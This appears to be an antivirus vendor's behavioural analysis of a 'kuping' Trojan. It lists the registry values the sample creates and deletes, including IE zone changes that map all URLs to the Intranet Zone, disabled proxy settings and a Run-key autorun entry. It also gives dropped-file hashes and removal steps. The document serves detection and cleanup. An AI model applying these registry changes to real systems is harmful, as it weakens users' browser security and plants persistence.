The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\PCHealth\ErrorReporting\DW]
"DWFileTreeRoot"

The process kuping_v4.exe:600 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\kpscrfile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKCR\kplguifile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCR\kpthemefile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 18 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Kuping]
"InstallPath" = "c:\kuping4\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCR\kpiconfile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,4"

[HKCR\kpthemefile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,1"

[HKCR\kpscrfile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCR\.kprar]
"(Default)" = "kprarfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\kpscrfile\Shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCR\kpcurfile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKCR\kprarfile]
"(Default)" = "¿áÆÁÖ÷Ìâ×ÊÔ´Îļþ"

[HKCR\kpthemefile\Shell]
"(Default)" = "Open"

[HKCU\Software\Kuping]
"ExcutePath" = "c:\kuping4\kuping_v4.exe"

[HKCR\kpiconfile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKCR\.kpscr]
"(Default)" = "kpscrfile"

[HKCR\kprarfile\Shell]
"(Default)" = "Open"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCR\kpcurfile]
"(Default)" = "¿áÆÁÊó±êÖ¸Õë×ÊÔ´Îļþ"

[HKCR\kprarfile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCR\kpscrfile]
"(Default)" = "¿áÆÁÆÁ±£×ÊÔ´Îļþ"

[HKCR\kpcurfile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,3"

[HKCR\kplguifile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCR\kpcurfile\Shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCR\.kpicon]
"(Default)" = "kpiconfile"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D5 4A 6E 00 4A 1B 1E BF 0D 09 40 AD 3A 5E E8 C2"

[HKCR\kprarfile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Kuping]
"Command" = "install"

[HKCR\.kpcur]
"(Default)" = "kpcurfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCR\kpiconfile\Shell]
"(Default)" = "Open"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCR\kplguifile\Shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKCR\.kptheme]
"(Default)" = "kpthemefile"

[HKCR\.kplgui]
"(Default)" = "kplguifile"

[HKCR\kpiconfile]
"(Default)" = "¿áÆÁͼ±ê×ÊÔ´Îļþ"

[HKCR\kpthemefile]
"(Default)" = "¿áÆÁÖ÷Ìâ×ÊÔ´Îļþ"

[HKCR\kplguifile]
"(Default)" = "¿áÆÁµÇ¼½çÃæ×ÊÔ´Îļþ"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process dwwin.exe:752 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5E 8C F2 33 43 FC 68 56 85 49 48 65 96 3D 58 FC"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 19 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process getnew.exe:1672 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7A 76 70 24 F2 98 09 64 B5 34 01 74 3C 80 48 D2"

The process %original file name%.exe:1196 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 16 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CC D3 F5 A7 C0 9F 62 53 78 BC 06 19 A7 84 78 61"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process kuping_b_53390.exe:432 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCR\.kplgui]
"(Default)" = "kplguifile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\kpscrfile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014060920140610]
"CacheLimit" = "8192"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KP4]
"DisplayName" = "¿áÆÁ4"

[HKCR\kpcurfile\Shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 17 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014060920140610]
"CachePrefix" = ":2014060920140610:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCR\kpiconfile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\kpscrfile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCR\.kpscr]
"(Default)" = "kpscrfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCR\.kptheme]
"(Default)" = "kpthemefile"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-9216" = "My Computer"

[HKCR\kpcurfile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014060920140610]
"CacheOptions" = "11"

[HKCR\.kprar]
"(Default)" = "kprarfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014060920140610]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014060920140610\"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\kpscrfile\Shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCR\kplguifile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KP4]
"URLInfoAbout" = "http://www.wallba.com/"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KP4]
"Publisher" = "»°Óï¿Æ¼¼"

[HKCR\.kpicon]
"(Default)" = "kpiconfile"

[HKCR\kprarfile]
"(Default)" = "Ö÷Ìâ×ÊÔ´Îļþ"

[HKCR\kpthemefile\Shell]
"(Default)" = "Open"

[HKCR\kpiconfile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKCR\kpthemefile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,1"

[HKCR\kprarfile\Shell]
"(Default)" = "Open"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCR\kpcurfile]
"(Default)" = "Êó±êÖ¸Õë×ÊÔ´Îļþ"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCR\kpscrfile]
"(Default)" = "ÆÁ±£×ÊÔ´Îļþ"

[HKCR\kpcurfile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCR\kplguifile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCR\kpthemefile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KP4]
"DisplayVersion" = "4.3.1.1"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "52 7E 57 FC 86 9A D1 1A 6C 2F 19 C7 48 F1 7A 37"

[HKCR\kprarfile\DefaultIcon]
"(Default)" = "c:\kuping4\kuping_v4.exe,2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KP4]
"UninstallString" = "c:\kuping4\uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014060920140610]
"CacheRepair" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"LangID" = "09 04"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCR\.kpcur]
"(Default)" = "kpcurfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCR\kpiconfile\Shell]
"(Default)" = "Open"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCR\kplguifile\Shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\KP4]
"DisplayIcon" = "c:\kuping4\kuping_v4.exe"

[HKCR\kprarfile\Shell\Open\Command]
"(Default)" = "c:\kuping4\KpInstallTheme.exe %1"

[HKCR\kpiconfile]
"(Default)" = "ͼ±ê×ÊÔ´Îļþ"

[HKCR\kpthemefile]
"(Default)" = "Ö÷Ìâ×ÊÔ´Îļþ"

[HKCR\kplguifile]
"(Default)" = "µÇ¼½çÃæ×ÊÔ´Îļþ"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kuping4" = "c:\kuping4\Kp_BootClr.exe"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012013030120130302]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012013021120130218]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012013021820130225]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:]
"%original file name%.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-8964"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@shdoclc.dll,-880"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\D:]
"Procmon.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-9227"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"cmd.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\D:]
"sandbox_svc.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-9217"
"SHELL32.dll,-9216"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

MD5 File path
beeeae3f32b6294026568f661f28a300c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\DW_86.tmp
2ce5a8ecc1a5953a1c68e67a63d17ab0c:\Program Files\kuping_b_53390.exe
5b35e2dcdd2ef51b43b0cb0c95dd99f8c:\kuping4\BootStart.dll
da26a931164cffbbe06f8f326fd07a2dc:\kuping4\DeskTopPop.exe
a1fe4789a9493bc057cf778076af9209c:\kuping4\ExpandPackCheck.exe
d1bf9c97acd160d940f355601db79064c:\kuping4\IndividualCenter.dll
08c4dd9d73cda35e2bf5aedf8d3650e3c:\kuping4\KPMsgBoxDll.dll
274366c07438df3cbcacd870516f4058c:\kuping4\KPUpdater.dll
af9e78dbed7743d930541ebae9f0a600c:\kuping4\KpInstallTheme.exe
963848f652d186f1446d37137ad6af70c:\kuping4\Kp_BootClr.exe
af9aff9994581814fc42f01035e1a39fc:\kuping4\Kp_BootClry.exe
e50a07998f4f25d2bdd4956fe43f020ac:\kuping4\Repairer.exe
ee5e62e9c27b80a0ae5e5a6aa8dab85cc:\kuping4\SkinCenter.dll
74cb56f1bf76aa6aaae399b9bcbd59b9c:\kuping4\ThemeInstall.dll
6d87a9fbdef81c2684711d68af1c6bbbc:\kuping4\TongJICNZZ.dll
e8af0046f405043d4346ce592cb27b28c:\kuping4\Uninstall\StartMenu.exe
93369bfd94be0a65a112a298f22f479ac:\kuping4\UniversalFunction.dll
10ac1f41330bd672957438c037f626f8c:\kuping4\Universal\unrar.dll
9623db0c6e12beb2a4f0f1eabfdeef84c:\kuping4\Update\UDStatictical.dll
9096c71932f4b2ed18c698c8931f948bc:\kuping4\Update\UpData.dll
6ba47762b664fb4bd16568ccbe73f758c:\kuping4\UserBehaviorStatistics.dll
a60bb93f45853fbec835e7e46ee6eb36c:\kuping4\dgmon.dll
1ece936c359ff817fa6f0b46409acbfbc:\kuping4\getnew.exe
328d74becb2fb3c45ad4a66a0a8bf078c:\kuping4\kp4_Mini.exe
c5585b066357267e6f0f160f22581337c:\kuping4\kuping_v4.exe
14f417bbf38dffd22bbbfe49f625f1cac:\kuping4\livability.dll
81eb86203f16a41d444154872a48015bc:\kuping4\login.dll
b592ae54151426ecb398f1948ae45162c:\kuping4\uninstall.exe
f4afe818a97808e389bb579bb3521a39c:\kuping4\unrar.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    kp4_Mini.exe:660
    kuping_v4.exe:600
    dwwin.exe:752
    getnew.exe:1672
    kuping_b_53390.exe:432

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\kuping4\Universal\UniversalMiniSkin\Mini.ico (1159 bytes)
    C:\kuping4\softset.ini (370 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\op_83.tmp (225 bytes)
